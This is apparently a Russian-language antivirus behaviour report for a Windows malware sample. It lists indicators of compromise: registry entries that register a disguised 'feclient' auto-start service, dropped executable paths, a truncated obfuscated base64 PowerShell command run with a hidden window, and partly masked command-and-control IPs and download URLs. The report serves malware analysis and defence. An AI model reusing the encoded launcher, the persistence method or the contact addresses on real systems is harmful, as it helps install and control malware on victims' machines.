Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\feclient] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\feclient] 'ImagePath' = '"%WINDIR%\SysWOW64\NlsData0013\feclient.exe"'
- 'feclient' "%WINDIR%\SysWOW64\NlsData0013\feclient.exe"
- 'feclient' %WINDIR%\SysWOW64\NlsData0013\feclient.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAGMAegAyAGUAdgBnAD0AKAAnAEwAYwAnACsAKAAnADMAJwArACcAdwA2AGoAagAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAUgBQAHIAbwBGAGkAbABFAFwAUABQAGoAUABEAEwASABcAE...
- %HOMEPATH%\ppjpdlh\hf22bph\vixtx0p0.exe
- %WINDIR%\syswow64\nlsdata0013\feclient.exe
- %HOMEPATH%\ppjpdlh\hf22bph\vixtx0p0.exe в %WINDIR%\syswow64\nlsdata0013\feclient.exe
- '45.#6.37.97':80
- http://ev###appen.com/wp-content/ja/
- http://45.#6.37.97/0yVlVIbmPWLd2N9r/jHiR1G0zmXv5h/OTC6hZze/vOZYsmhMi/CVcuJiLiXdoObLpNw/
- DNS ASK ev###appen.com
- '%HOMEPATH%\ppjpdlh\hf22bph\vixtx0p0.exe'
- '%WINDIR%\syswow64\nlsdata0013\feclient.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAGMAegAyAGUAdgBnAD0AKAAnAEwAYwAnACsAKAAnADMAJwArACcAdwA2AGoAagAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAUgBQAHIAbwBGAGkAbABFAFwAUABQAGoAUABEAEwASABcAE...' (со скрытым окном)